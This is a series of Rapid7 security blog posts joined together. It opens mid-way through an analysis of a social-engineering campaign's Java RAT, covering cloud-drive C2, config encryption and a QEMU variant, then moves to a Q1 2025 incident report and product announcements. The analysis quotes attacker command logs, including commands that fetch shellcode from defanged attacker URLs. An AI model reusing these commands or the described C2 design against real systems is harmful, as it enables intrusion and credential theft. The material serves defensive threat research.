After the affiliate has successfully gained access they will typically transfer and execute malware on the compromised system. The specific malware differs per operator and typically marks the stage in which the access is passed from the caller to an operator within the group who specializes in what they refer to as “pentesting.” To facilitate the access, the operator who calls typically coordinates with the “pentester” to increase the chances of success. At this point in the attack the affiliate who called the user has already hung up under the guise of having fixed the spam problem, and the “pentester” then begins to enumerate the environment. Rapid7 has observed AS-REP and Kerberoasting attacks to be commonly attempted along with Active Directory Certificate Services (ADCS) abuse and other types of brute force password attacks.

Technical Analysis

After initial access has been achieved, the follow-on malware payloads that are downloaded to the compromised system and executed differ, per operator.

Java RAT

A large volume of social engineering incidents handled by Rapid7 have resulted in a Java RAT being downloaded and executed. This tactic was first observed by Rapid7 during October of 2024, and initially reported on in December 2024 in relation to the payload identity.jar. The first samples of the Java RAT observed by Rapid7 only utilized Microsoft OneDrive with optional proxy servers (e.g., SOCKS5) for a more direct C2 connection. The configuration was left in plain text, and did not contain any functionality to dynamically update or encrypt the configuration, primarily functioning only as a RAT via PowerShell session commands.

In the past 6+ months, development of the Java malware payload has continued to add/change numerous features. The Java malware now abuses cloud-based file hosting services provided by both Google and Microsoft to proxy commands through the respective cloud service provider’s (CSP) servers. Over time, the malware developer has shifted away from direct proxy connections (i.e., the config option is left blank or not present), towards OneDrive and Google Sheets, and most recently, towards simply using Google Drive. The logic of the RAT is obfuscated using various types of junk code, control flow obfuscation, and string obfuscation in an attempt to impede analysis.

Figure 8. Obfuscated logic within the Java RAT, where three simple statements become dozens of lines and indentations.

The Java RAT and other payloads are distributed within an archive, the link for which is most often sent to the target user via a pastebin[.]com link. In cases as recent as May of 2025, Rapid7 has observed that the archives are still being publicly hosted on potentially compromised SharePoint instances. The archive and the payloads within are named to fit the initial social engineering lure. For example, in a recent incident, the archive was named Email-Focus-Tool.zip, likely to help prevent suspicion by the targeted user during the attack. The archive contains a .jar file (the Java RAT), a copy of required JDK dependencies contained within a child folder, and at least one .lnk file intended to make the malware easy to execute.

Figure 9. The contents of an archive delivered by the threat actor and a `log.txt` file containing enumeration command output.

The archive is most often extracted to the staging directory C:\ProgramData\ prior to execution. In at least one case, Rapid7 has also observed the operator who initiated the attack outputting system enumeration data to a plaintext file in the same directory, a technique commonly used in the past by Black Basta. Historically, this is information that they share during the initial stages of the attack to assess the network and the type of defenses they may have to deal with. For example, shown above, the operator who initially accessed the compromised asset spawned a command prompt and redirected the output of the ipconfig /all and tasklist commands to the file log.txt.

Most recent versions of the Java RAT have the capability to use Google Sheets to dynamically update the stored C2 configuration, which includes a Google spreadsheet ID (SSID), proxy server IPv4 addresses, application credentials (OneDrive), and/or service account credentials (Google Drive). At least one of the Google Spreadsheets used in this way was observed by Rapid7 to have been taken down by Google, which highlights the potential unreliability of using certain cloud services as a malware traffic proxy.

Figure 10. A Google spreadsheet used by the malware for dynamic configuration updates was taken down by Google.

One of the first actions taken by the malware on launch is to check for an existing configuration in the user’s registry, and if it is not already present, the copy included within the .jar payload, contained within the file config.json, is written there. All samples analyzed by Rapid7 did not have debugging messages removed, allowing them to be viewed by simply executing the .jar file in a console window, as all the debugging messages are written to stdout.

Figure 11. Debug statement output after executing the Java RAT via console.

The registry value name(s) and content for the stored config are both base64 encoded (e.g., HKCU\SOFTWARE\FENokuuTCyVq\JJSUP0CEcUw9PENaNduhsA==), with the decoded configuration content being encrypted using AES-256-ECB. The encryption key is derived from a seed that is stored as a 16 byte string within a file named ek (encryption key), that is contained within the .jar archive. The registry key name, a randomized alphabetic string, is hard coded and stored in a similar manner within the file r_path (registry path). The malware creates a SHA256 hash of the encryption key seed string, and the first 32 bytes of the SHA256 hash are then used as the AES-256-ECB key to encrypt and decrypt the malware’s configuration. Every sample analyzed by Rapid7 contained a unique key seed, though a particular sample is often distributed (within the related archive) to multiple targets for an extended period of time, often around a couple weeks.

After checking and loading the configuration from the registry, local resource, or updated configuration, the RAT will then establish at least one PowerShell session.

Figure 12. Example process tree for the Java RAT.

The stdin and stdout for the PowerShell console are used to process remote commands. The commands sent to the Java RAT are proxied through the respective CSP by the malware creating two specific files within the cloud drive. The name of the files all contain the UUID of the infected asset, which is retrieved at the malware’s startup. There are two prefixes added onto the primary communication files, cf_ and rf_ which contextually appear to stand for create file and receive file, respectively. These two files correspond to the standard output (stdin) and standard input (stdin) of the PowerShell console. The malware uses the input file in two major ways. If the cf_ file (stdin) starts with a specific command string, the content following it will be processed by the malware to execute functionality implemented by the malware developer.

Figure 13. The logic for the `loginform` command within the if-else command processing chain used by the Java RAT. The malware developer did not update one of the debug statements for Google Drive.
Otherwise, the content will be executed as a regular PowerShell command.

Figure 14. The default case in the if-else chain executes the command string via PowerShell.

Figure 15. The 'execute()' function within the same class executes the command string as a PowerShell command via jPowerShell.

Table 1. Command key for the Java RAT.

The previously seen credential harvesting payload, identity.jar, has now also been integrated into the Java RAT, and instead of writing the entered credentials to a randomly named file within the working directory, the RAT sends it to the cloud drive C2 file that has been designated to the compromised host. This functionality is executed by the operator by sending the loginform (the Java class is abbreviated as “Lf”) command to the RAT via the cloud drive file. After decompiling and deobfuscating the Java code that the module consists of, it can be cleaned up, recompiled, and executed as a standalone program. This allows us to see that the appearance of the module to the targeted user is the same, including the fake “Windows Security” title. A review of the code indicates that it has not changed in any other significant way. The harvester still forces the active window on top and will not let the user close the window without entering their password or forcibly terminating the process.

As a result of the cloud service credentials being stored within the malware payload, and that, for example, Google Drive stores a revision history for every created file by default, it is possible to view the entire history of commands sent to each infected asset, including stdin and stdout.
This gives a unique in console view of what the threat actor saw while they were hands-on-keyboard and executing commands. Command log snippets can be seen below, with identifying information redacted. Once access is established, the operator nearly always verifies the user’s name with the dir command and then uses this information to execute the loginform command, as the malware does not retrieve the executing user’s name on its own.

Infected Host GUID: 4C4C4544-0038-4610-8036-B6C04F394733 2025-04-24T16:53:34.038Z: dir c:\users\ 2025-04-24T16:54:47.967Z: loginform <username> 3 2025-04-24T18:40:36.584Z: net time 2025-04-24T18:42:54.426Z: whoami 2025-04-24T18:43:48.284Z: net user <username> /domain 2025-04-24T18:48:35.089Z: hostname 2025-04-24T18:49:57.182Z: net group "Domain Computers" /domain 2025-04-24T18:50:56.578Z: net time 2025-04-24T19:17:14.259Z: ipconfig /all 2025-04-24T19:19:44.442Z: hostname

Infected Host GUID: 594045B3-008B-4106-8FF4-B850DF6C76D0 2025-04-24T17:20:09.896Z: dir c:\users\ 2025-04-24T17:20:58.179Z: loginform <username> 3 2025-04-24T17:36:52.542Z: wmic qfe list brief 2025-04-24T17:40:13.454Z: net time 2025-04-24T17:41:26.860Z: ping -n 2 <domain_controller_hostname> 2025-04-24T17:49:08.598Z: net group "Domain Computers" /domain > c:\users\public\001.txt

In some cases, Rapid7 has observed a command log gap ranging from around 4 to 12 days, beginning after the RAT is successfully executed and the user’s credentials have been stolen. In some cases an SSH tunnel is also established before activity stops. This type of behavior indicates that the threat actor may not be intending to use the access for themselves, but rather sell it to another group that specializes in fully compromising the network towards various ends (e.g., data theft, extortion, ransomware). Rapid7 has also observed the access being used to test new malware payloads and functionality, rather than progress the compromise within the targeted networks.

Qemu

In a smaller volume of incidents handled by Rapid7, operators have been observed sending the user a Google Drive link to download a zip archive containing QEMU (Quick Emulator) and its dependencies, including a custom made .qcow2 (QEMU Copy-On-Write version 2) virtual disk image. The image contains a Windows 7 Ultimate virtual machine (VM) configured to automatically logon and execute a RunOnce registry key that launches a ScreenConnect installer. In most cases a link to a fake Quick Assist login page (credential harvester) was also delivered to the targeted user by proxy via a self-destructing link service such as 1ty[.]me alongside the Google Drive zip archive link.

Once the remote session is established in this way, the VM also contains a copy of QDoor, Rust malware that functions as a C2 proxy, which allows the the threat actors to tunnel C2 traffic through a proxy to the VM, on the infected machine in the target user’s environment. In all cases handled by Rapid7, the QEMU executable was renamed (e.g., w.exe/svvhost.exe), and, as the emulator of the VM, it is the source on the infected host machine for all network connections resulting from processes running inside the VM. QDoor malware has been attributed to the BlackSuit ransomware group by ConnectWise.

In more recent cases, Rapid7 has observed the BlackSuit affiliates distributing a much smaller (64MB vs. 8.6GB) .qcow2 image that contains TinyCore Linux. When the image is loaded by QEMU, the bootlocal[.]sh script that is executed upon startup of the TinyCore OS has been set by the threat actors to sleep unless a successful ping is made to one of their servers. Once the ping is successful, an ELF file, 123.out is executed which attempts to connect to a C2 server.

Within the command log of the VM image, .ash_history, a wget command is also present which indicates the external server that the 123.out file was originally downloaded to the VM from.

In an alternate tc.qcow2 payload observed by Rapid7, the TinyCore VM boot script will unconditionally execute two ELF files, nossl and ssl. These ELF payloads function as multi-threaded socks proxies, where the ssl copy uses the OpenSSL library to encrypt traffic and ssl sends traffic in plaintext. In both cases, the ELF payloads send registration information to the C2 proxy server on port 53, which is typically used for DNS.

As shown below from the Black Basta chat leaks, BlackSuit has connections with the group, so the adaptation of their typical spear phishing attacks towards these types of social engineering attacks for initial access is unsurprising.

Malware Testing

After migrating the Java RAT’s functionality primarily to Google Drive, the threat actor developing the malware also began including the service account they use to test the malware within their own lab environment. The most recent versions of the RAT now also have the command screen which can download and execute a new Java class in memory. The threat actor first tested this in their own lab before trying it in infected devices that they had gained access to, as seen in the command logs below. Despite the name of the command and the name of the Java class that the test payload has (Screenshot), the payloads have varying functionality, but are generally intended to dynamically add new functionality to the RAT. The first test payload observed loads the Java class Screenshot, which then downloads a shellcode blob via a hard coded URL, and injects it into a new java.exe process using the WINAPI calls VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread.

The analyzed test shellcode payload would then perform local PE injection for an embedded Rust PE using NTAPI calls, which for the purposes of the test appears to only spawn a confirmation message box. The Rust PE has an original filename of testapp.exe, a PDB named testapp.pdb, and was originally compiled on 2025-04-10T15:45:28Z. Notably, the Rust PE did have the Windows Graphics Device Interface (GDI) library and several related function imports as dependencies, which could be used to access or manipulate the screen, but did not appear to be fully implemented yet.

The screen command was then successfully used several times in compromised environments, though for different reasons. In one case the operator simply used it as a way to check the external IP address of the infected host. The command log below shows the threat actor testing the screen command for the first recorded time, using the payload with the embedded Rust PE, within their lab, shortly before starting a new spamming/social engineering attack run (during which they would distribute several copies of the malware).

Input@2025-04-23T17:12:32.203Z: screen hxxps://tesets[.]live/download/javacode.txt Output@2025-04-23T17-13-02.754Z: start shellcode done

In compromised environments however, the functionality was only observed in use as an external IP checking utility per the following command log.

Input@2025-05-07T17:36:59.102Z: screen hxxps://andrewjboyd[.]com/file/jc3_old_version.txt Output@2025-05-07T17-37-05.261Z: start shellcode done Input@2025-05-07T17:38:30.923Z: type c:\users\public\info.txt Output@2025-05-07T17-38-40.100Z: <redacted_public_ipv4_address_for_compromised_system>

Rapid7 observed at least one other Rust malware payload, updater.exe being used by the threat actor, which appeared to be a custom loader for the SSH utility, containing the PDB name rust_serverless_killer.pdb. As many of the compromises facilitated by the social engineering attacks have resulted in SSH reverse tunnels being established to provide access, the loader is likely an attempt to evade detections targeting SSH commands by obscuring the related metadata. The SSH executable being loaded has the same functionality however, and as a result the command line arguments that must be passed remain the same.

The threat actor tested a variety of functionality for the Java RAT within their test lab. This includes the zipped python RAT the group would historically upload, decompress and execute (facilitated by the built in send and extract commands), or distribute instead of the Java RAT. The python RAT has a similar command menu to that of the Java RAT. The python RAT has also been previously analyzed by Gdata with similar findings, who refer to it as Anubis (likely based on the source code) and attribute the malware to the FIN7 group.

InputStart@2025-03-28T13:31:01.430Z: checkconfig InputStart@2025-04-01T15:21:49.251Z: recive c:\programdata\video\log.txt InputStart@2025-04-03T17:01:26.653Z: send C:\Users\Public\Libraries\nature.zip extract C:\Users\Public\Libraries\nature.zip\qwerty dir c:\users\ InputStart@2025-03-28T14:01:17.825Z: checkconfig newconfig InputStart@2025-04-01T13:16:18.589Z: send C:\Users\Public\Libraries\nature.zip startsocks5 C:\Users\Public\Libraries\nature\debug.exe C:\Users\Public\Libraries\nature\test.py

Several commands executed in the threat actor’s test lab can be seen above, where the python based payload was delivered via the Java RAT. In several past incidents handled by Rapid7 the name of initial payload archives containing python malware was Cloud_Email_Switch.zip and the script was named conf.py, where the script was executed via a copy of pythonw.exe that had its metadata stripped. The threat actor appears to have now moved to using the Java RAT primarily instead of the python version, although the Java payload retains the functionality to upload, extract, and execute python scripts.

Table 2. Command key for the python RAT.

Among the output of the commands the threat actor ran in their test lab, we can also see a listing of their Downloads directory. The output shows that they have likely been developing Rust malware since at least 2024-09-21. The test lab is most likely also the environment in which they compiled testapp.exe as Rust executables contain cargo references which include the user’s name, for example: C:\Users\User\.cargo\registry\src\<truncated>. In contrast, updater.exe, the Rust SSH loader previously mentioned, references the user lucak.

Finally, while setting up the testing environment, the threat actor made changes to several Google Drive files from what appears to be a personal Gmail account: palomo************[@]gmail[.]com. These changes were visible as numerous versions of the Java RAT were distributed with the threat actor’s test lab Google Drive service account credentials included.

Mitigation Guidance

Rapid7 recommends taking the following precautions to limit exposure to these types of attacks:

Restrict the ability for external users to contact users via Microsoft Teams to the greatest extent possible. This can be done for example by blocking all external domains or creating a white/black list. Microsoft Teams will allow all external requests by default. For more information, see this reference.
Standardize remote management tools within the environment. For unapproved tools, block known hashes and domains to prevent usage. Hash blocking can be done, for example, via Windows AppLocker or an endpoint protection solution.
Provide user awareness training regarding the social engineering campaign. Familiarize users with official help desk and support procedures to enable them to spot and report suspicious requests.
Standardize VPN access. Traffic from known low cost VPN solutions should be blocked at a firewall level if there is no business use case.
Require Multi-Factor Authentication (MFA) across the environment. Single factor authentication facilitates a large number of compromises. For example, If an attacker steals a user’s credentials and acquires the network’s VPN configuration, no MFA on the VPN allows them to easily access the environment.
Regularly update software and firmware. Ransomware groups like Black Basta are known to purchase exploits for initial access.

Rapid7 Customers

InsightIDR, Managed Detection and Response, and Managed Threat Complete customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this activity:

MITRE ATT&CK Techniques

Indicators of Compromise

All indicators of compromise are available at the Rapid7 GitHub repository.

Is having no MFA solution in place still one of the most appealing vulnerabilities for threat actors? Will you see the same assortment of malware regardless of whether you work in business services or media and communications? And how big a problem could one search engine query possibly be, anyway?

The answer to that last question is “very,” as it turns out. As for the rest…

Initial access vectors

Below, we highlight the key movers and shakers for IAVs across cases investigated by Rapid7’s IR team. While you’ll notice a fairly even split among several vectors such as exposed remote desktop protocol (RDP) services and SEO poisoning, one in particular is clearly the leader of the pack where compromising organizations is concerned: stolen credentials to valid/active accounts with no multi-factor authentication (MFA) enabled.

Valid account credentials — with no MFA in place to protect the organization should they be misused — are still far and away the biggest stumbling block for organizations investigated by the Rapid7 IR team, occurring in 56% of all incidents this first quarter.

Exposed RDP services accounted for 6% of incidents as the IAV, yet they were abused by attackers more generally in 44% of incidents. This tells us that third parties remain an important consideration in an organization’s security hygiene.

Valid accounts / no MFA: Top of the class

Rapid7 regularly bangs the drum for tighter controls where valid accounts and MFA are concerned. As per the key findings, 56% of all incidents in Q1 2025 involved valid accounts / no MFA as the initial access vector. In fact, there’s been very little change since Q3 2024, and as good as no difference between the last two quarters:

Vulnerability exploitation: Cracks in the armor

Rapid7’s IR services team observed several vulnerabilities used, or likely to have been used, as an IAV in Q1 2025. CVE-2024-55591 for example, the IAV for an incident in manufacturing, is a websocket-based race condition authentication bypass affecting Fortinet's FortiOS and FortiProxy flagship appliances. Successful exploitation results in the ability to execute arbitrary CLI console commands as the super_admin user. The CVE-2024-55591 advisory was published at the beginning of 2025, and it saw widespread exploitation in the wild.

One investigation revealed attackers using the above flaw to exploit vulnerable firewall devices and create local and administrator accounts with legitimate-looking names (e.g., references to “Admin”, “I.T.”, “Support”). This allowed access to firewall dashboards, which may have contained useful information about the devices’ users, configurations, and network traffic. Policies were created which allowed for leveraging of remote VPN services, and the almost month-long dwell time observed in similar incidents may suggest initial access broker (IAB) activity, or a possible intended progression to data exfiltration and ransomware.

Exposed RMM tooling: A path to ransomware

As noted above, 6% of IAV incidents were a result of exposed remote monitoring and management (RMM) tooling. RMMs, used to remotely manage and access devices, are often used to gain initial access, or form part of the attack chain leading to ransomware.

One investigation revealed a version of SimpleHelp vulnerable to several critical privilege escalation and remote code execution vulnerabilities, which included CVE-2024-57726, CVE-2024-57727, and CVE-2024-57728.

These CVEs target the SimpleHelp remote access solution. Exploiting CVE-2024-57727 permits an unauthenticated attacker to leak SimpleHelp "technician" password hashes. If one is cracked, the attacker can log-in as a remote-access technician. Lastly, the attacker can exploit CVE-2024-57726 and CVE-2024-57728 to elevate to SimpleHelp administrator and trigger remote code execution, respectively. CVE-2024-57727 was added to CISA KEV in February 2025.

The vulnerable RMM solution was used to gain initial access and threat actors used PowerShell to create Windows Defender exclusions, with the ultimate goal of deploying INC Ransomware on target systems.

SEO poisoning: When a quick search leads to disaster

SEO poisoning, once the scourge of search engines everywhere, may not be high on your list of priorities. However, it still has the potential to wreak havoc on a network. Here, the issue isn’t so much rogue entries in regular search results, but instead the paid sponsored ads directly above typical searches. Note how many sponsored results sit above the genuine site related to this incident:

This investigation revealed a tale of two search results, where one led to a genuine download of a tool designed to monitor virtual environments, and the other led to malware. When faced with both options, a split-second decision went with the latter and what followed was an escalating series of intrusion, data exfiltration and—eventually—ransomware.

On the same day of initial compromise, the attacker moved laterally using compromised credentials via RDP, installing several RMM tools such as AnyDesk and SplashTop. It is likely that the threat actor searched for insecurely stored password files and targeted password managers. They also attempted to modify and/or disable various security tools in order to evade detection, and create a local account to enable persistence and avoid domain-wide password resets.

An unauthorized version of WinSCP was used to exfiltrate a few hundred GB of sensitive company data from several systems, and with this mission accomplished only a few tasks remained. The first: attempting to inhibit system recovery by tampering with the Volume Shadow Copy Service (VSS), clearing event logs, deleting files, and also attempting to target primary backups for data destruction. The second: deployment of Qilin ransomware and a blackmail note instructing the victim to communicate via a TOR link lest the data be published to their leak site.

Qilin ranked 7 in our top ransomware groups of Q1 2025 for leak post frequency, racking up 111 posts from January through March. Known for double-extortion attacks across healthcare, manufacturing, and financial sectors, Qilin (who, despite their name, are known not to be Chinese speakers, but rather Russian-speaking) has also recently been seen deployed by North Korean threat actors Moonstone Sleet.

Attacker behavior observations

Bunnies everywhere: Tracking a top malware threat

BunnyLoader, the Malware as a Service (MaaS) loader possessing a wealth of capabilities including clipboard and credential theft, keylogging, and the ability to deploy additional malware, is one of the most prolific presences Rapid7 has seen this first quarter of 2025. In many cases, it’s also daisy-chained to many of the other payloads and tactics which make repeated appearances.

To really drive this message home: BunnyLoader is the most observed payload across almost every industry we focused on. Whether we’re talking manufacturing, healthcare, business services or finance, it’s typically well ahead of the rest of the pack. Here are our findings across the 5 most targeted industries of Q1:

BunnyLoader is in pole position not only for the 5 industries shown above, but across 12 of 13 industries overall, with 40% of all incidents observed involving this oft-updated malware.

Just over half of that 40% total involved a fake CAPTCHA (commonly used for the purpose of victims executing malicious code), with malicious / compromised sites appearing in a quarter of BunnyLoader cases. Rogue documents, which may be booby-trapped with malware or pave the way for potential phishing attacks, bring up the rear at just 9% of all BunnyLoader appearances recorded. First offered for sale in 2023 for a lifetime-use cost of $250, its continued development and large range of features make it an attractive proposition for rogues operating on a budget.

Targeted organizations: The manufacturing magnet

Manufacturing organizations were targeted in more than 24% of incidents the Rapid7 IR team observed, by far the most targeted industry in Q1 based on both Rapid7’s ransomware analytics and IR team observations. The chart below compares Rapid7’s industry-wide data (comprising a wide range of payloads and tactics) with ransomware leak post specific data. In both cases, manufacturing is a fair way ahead of other industries; this reflects its status as one of the most popular targets for ransomware groups over the last couple of years.

The manufacturing industry is an attack vector for nation states because it is an important component of global trade. It is also an area that has many legacy and older, operational technologies (OT). Combine unpatched legacy systems with complicated supply chains, and you have a risk that nation state actors will find an attractive target. This is especially the case when considering that many manufacturing organizations have critical contracts with governments, and attacks can cause severe disruption if they're not speedily resolved.

Conclusion

Q1 2025 resembles a refinement of successful tactics, as opposed to brand new innovations brought to the table. Our Q1 ransomware analytics showed threat actors making streamlined tweaks to a well-oiled machine, and we find many of the same “evolution, not revolution” patterns occurring here.

This progression is particularly applicable in the case of initial access via valid accounts with no MFA protection. We expect to see no drop in popularity while businesses continue to leave easy inroads open and available to skilled (and unskilled) attackers.

In addition, the risk of severe compromise stemming from seemingly harmless online searches underscores the necessity for organizations to reexamine basic security best practices, alongside deploying robust detection and response capabilities. Businesses addressing these key areas for concern will be better equipped to defend against what should not be an inevitable slide into data exfiltration and malware deployment.

Shadow IT, orphaned assets, internet-facing exposures, and unmanaged cloud services are all part of an expanding attack surface. And, according to Enterprise Strategy Group, 76% of organizations have experienced some type of cyberattack involving an unknown or unmanaged internet-facing asset(1) — the kind of risk that stems from gaps in visibility. The result? A critical mismatch between the Attack Surface (what adversaries can reach) and the Detection Surface (what MDR services are configured to see and respond to).

To maximize the effectiveness of security operations, MDR must continually evolve. Today at Rapid7, that means integrating Surface Command — not as a dashboard or tool to manage, but as a behind-the-scenes capability that strengthens the service our customers rely on.

Extending the detection surface

Surface Command enhances the MDR experience by combining two critical perspectives:

1. CAASM (Cyber Asset Attack Surface Management) consolidates insights from across internal tooling — vulnerability management platforms, EDR, identity systems, IT service management, firewalls, and more.
2. EASM (External Attack Surface Management) complements this by continuously scanning for exposed infrastructure: domains, APIs, IPs, ports, and services.

Together, they offer a complete picture of what’s actually in your environment — and what’s at risk — without requiring additional effort from security teams. For the Rapid7 SOC, this means less risk for blind spots and faster, more confident investigations. For customers, it means fewer RFIs and greater trust in the response process.

Bridging the visibility gap

Many organizations today rely on spreadsheets and manual processes to keep track of their infrastructure — and the consequences are significant. Incomplete inventories, inconsistent classifications, and missed configuration details all contribute to increased risk and slower response.

Surface Command addresses this with three key strengths:

• Complete inventory: Using API-based integrations with common security and IT operations tools, Surface Command automatically discovers and classifies a broad set of internal and internet-facing assets — from cloud environments to endpoint platforms, firewall configurations, and vulnerability management tools. This removes the guesswork and closes visibility gaps.
• Continuous insight: Visibility isn’t a one-time event. Surface Command continuously monitors for new assets and changes to existing ones, ensuring the customer and the SOC always have a current picture of what exists and how it’s exposed.
• Automated efficiency: By eliminating the need for manual tracking and inventory upkeep, Surface Command frees security teams to focus on higher-value priorities. One customer shared that this capability helped eliminate nearly 100 hours of manual asset tracking per month — time they redirected toward strategic initiatives.

These operational advantages translate directly into security value: better data, faster detection and investigation, and a more resilient managed defense.

Enabling a smarter MDR experience

Visibility is a means to an end. By enabling Surface Command, the MDR SOC has invaluable insight into every corner of your security environment, bringing efficiencies and deep insights to your managed security program:

• Earlier awareness during onboarding: Our SOC gets a complete picture of the customer environment right away, which means we can begin protecting it more effectively from day one.
• More context during incidents: When a detection triggers on a previously unknown asset, the SOC isn’t starting from zero. Surface Command provides the information needed to understand what a system is, who owns it, and how it’s configured.
• Stronger foundation for threat hunting: For teams that want to lean into proactive defense, Surface Command gives the context needed to ask better questions — and find better answers.

It also supports compliance initiatives by clarifying what’s in scope and how it’s protected. For organizations pursuing NIST, CIS, or ISO alignment, that transparency can be a game changer.

Making Attack Surface Management more accessible than ever

Surface Command brings the power of Attack Surface Management — long seen as a capability reserved for mature, well-resourced security teams — directly into the hands of Rapid7 MDR customers. Our goal is to ensure that your internal security team and our SOC are given the most complete context possible from day one.

There are a number of ways Surface Command is available to MDR customers today. Contact your Rapid7 account team or click here to initiate a no commitment trial today.

(1) Enterprise Strategy Group

Life’s old adage often applies in security: Hope for the best, prepare for the worst. In today’s threat landscape, even the best-prepared organizations can’t guarantee immunity from cyberattacks. The cost of a breach is no longer just a line item—it’s a business risk with board-level visibility. In 2024, the average total cost of a breach soared to $4.88 million, a record high and a 10% increase from the previous year​.1

As threats grow in complexity and breach response becomes more expensive and unpredictable, security leaders aren’t just investing in detection and response—they’re looking for assurance that they are, in fact, prepared for the worst. That’s why Rapid7 is introducing its Breach Protection Warranty: real-world financial coverage, built directly into our flagship Managed Detection and Response (MDR) offering, Managed Threat Complete Ultimate. This coverage is designed to give customers confidence that if that dreaded day comes, they’re ready.

Rapid7 continues to invest heavily in this industry-leading service—trusted by thousands of customers worldwide—which processes trillions of events and investigates millions of alerts annually. Leveraging this immense scale to ensure robust threat detection and rapid response, the results speak for themselves: 99.6% of our MDR customers remain unaffected by ransomware. But beyond numbers, our commitment is clear—we’re dedicated to continuously enhancing MDR capabilities and standing shoulder-to-shoulder with our customers to safeguard their operations.

Built-in financial protection, when it counts

The Rapid7 Breach Protection Warranty provides up to $1 million in breach-related coverage, based on the size of a customer’s environment. It’s designed to offset the real-world costs organizations face in the wake of a cyberattack, including:

• Forensic investigation expenses
• Legal consultation fees
• Public relations costs
• Post-security incident expenses

Unlike standalone breach coverage or third-party insurance policies, this warranty comes at no additional cost to eligible customers. There are no upsells or hidden fees—just value-added protection that’s already embedded in the service​.

Integrated into a world-class detection and response program

Rapid7’s holistic and outcome-driven approach to detection and response includes unlimited digital forensics and incident response (DFIR), remote containment, and active remediation of commodity malware. All of these capabilities are amplified by the Rapid7 Command Platform, which seamlessly integrates vulnerability findings and threat intelligence to deliver complete coverage across the entire security incident lifecycle.

Together with the Breach Protection Warranty, this cohesive model transforms your cybersecurity program into one not just backed by technology and expertise, but also a financial safety net built into the service.

Simplifying breach response, not complicating it

A warranty is, at its core, a legal agreement—and it’s understandable that many come with conditions or “strings attached.” Some require customers to exhaust other forms of insurance before coverage kicks in. Others recapture the financial benefit through billable incident response services, which can quietly reduce the actual value received.

Rapid7 takes a different approach. We’ve built the Breach Protection Warranty to maximize customer value with transparency. There are no hidden clauses designed to funnel reimbursement back to us. And because unlimited incident response (IR) is already included in the service, customers don’t need to worry about separate IR contracts or an unexpected changing of the guard in the frenetic aftermath of an incident​.

Strengthening resilience through readiness

While financial protection is the headline, eligibility for the warranty reinforces the fundamentals of a strong security posture. Customers must meet a set of best-practice requirements that align with Rapid7’s proven approach to resilience, including but not limited to:

• Hardened endpoint configurations
• Deployment of core protection modules such as Ransomware Prevention
• Updated, compliant operating systems and software across covered assets​

These aren’t just checkboxes—they’re meaningful controls that improve visibility, reduce risk, and better prepare customers to prevent and respond to threats; with the added benefit of unlocking a meaningful financial backstop.

Ready to learn more?

This is about more than cost coverage. It’s about trust—trust that your security investments are driving true resilience and that your provider is prepared to stand beside you when it matters most.

Rapid7’s Breach Protection Warranty is now available to all Managed Threat Complete Ultimate customers. To learn more about your eligibility or sign up, please reach out to your Rapid7 account team.

1 IBM

Partnership means many things to us here at Rapid7. It means showing up with trusted expertise, providing clear guidance in moments of uncertainty, and helping security teams stay ahead of ever-evolving threats. Most of all, we see partnership as foundational to building security resilience – and that requires not only a proactive,  risk-aware mindset but also the capability to respond when the inevitable happens.

As attacks grow faster, more complex, and more persistent, the need for decisive, transparent remediation has become more urgent – some estimates place the average time-to-ransom at just 16.88 hours1 –  with that kind of speed, every moment matters. We pride our Managed Detection and Response (MDR) service on delivering best-in-class detection, investigation, and actionable response guidance. Now, we are evolving that partnership – and the strength of your security program – even further.

Introducing Active Remediation with Velociraptor

Powered by our best-in-class, open-source digital forensics and incident response (DFIR) tool, Rapid7 MDR analysts can take direct, approved remediation actions on your behalf – removing malware, terminating rogue processes, and restoring system integrity while minimizing the need to reimage affected endpoints unless it’s truly required. Every action is executed with precision, transparency, and within clearly defined boundaries.

This is more than a new capability. It’s a reflection of our commitment to move in lockstep with you – not just at the point of detection, but all the way through to resolution. From unlimited incident response support to deeply collaborative investigations and tailored recommendations, Rapid7 has always prioritized being hands-on when you need us most. Active Remediation with Velociraptor extends that same principle to the final – and often most difficult – step: taking action on your behalf to eradicate threats.

Delivered with Precision, Transparency, and Trust

Active Remediation with Velociraptor is designed not just to take action, but to take the right action, the right way. Every remediation workflow is executed by Rapid7’s expert analysts using Velociraptor’s purpose-built query language (VQL) – a DFIR language engineered for precision, traceability, and scale. This allows the analyst to target specific artifacts, processes, and configurations – avoiding the blunt-force actions that often lead to full endpoint reimaging.

• You stay in control – Remediation is performed based on clearly defined and approved scopes and parameters aligned to your security policies.
• You see what we do – Every action is logged, auditable, and built using readable logic within Velociraptor, with full visibility provided through detailed post-incident reports.
• You gain precision without disruption – Remove only what’s malicious and reverse unauthorized configurations without pulling systems offline or fully reimaging machines.

Rapid7’s New Response Workflow

1. Alert detection: Identify malicious activity across customer endpoints and network.
2. Active Response: Quarantine affected endpoints to stem the spread of the attack.
3. Rapid7 investigation: SOC validates threat, determines scope, and develops response plan.
4. Active Remediation with Velociraptor: Rapid7 analysts remove malicious artifacts with precision.
5. Mitigation guidance: Recommendations to help your team prevent threat reemergence.

Remediating in the Real World

Our approach brings analyst-led, logic-driven remediation into live environments – solving the post-containment challenges security teams face every day. Unlike session-based access that relies on endpoints being on and connected to the internet, Rapid7 are delivering remediation that meets the auditability, practicality, and scalability needs of the real world:

• Targeted threat removal without reimaging: Identify and remove only malicious artifacts – files, processes, persistence mechanisms, or unauthorized configurations – linked to a confirmed threat.
• Outcome: Your endpoints stay online and productive, while the threat is neutralized with minimal disruption. Avoiding unnecessary reimaging means faster recovery, reduced IT workload, and less downtime for end users.
• Controlled execution with transparent logic: Every remediation workflow is written in VQL – visible and reviewable by customers before deployment. There’s no scripting or ‘trust us’ execution.
• Outcome: Builds trust and accountability into the remediation process. You get full visibility into every action, supporting compliance requirements and reducing uncertainty in regulated environments.
• Distributed remediation across endpoints: When multiple endpoints are compromised by a single campaign – such as credential theft malware – we will queue high-fidelity remediation workflows across many machines simultaneously – even if some are offline.
• Outcome: Lays the foundation for consistent threat removal across your environment without manual intervention or system-by-system cleanup. This enables a timely, coordinated response that keeps pace with fast-moving attacks.
• Reducing friction between security and IT teams
  Rather than working through lengthy remediation steps with your IT team, we execute the most critical actions directly – within approved scope – and document every step.
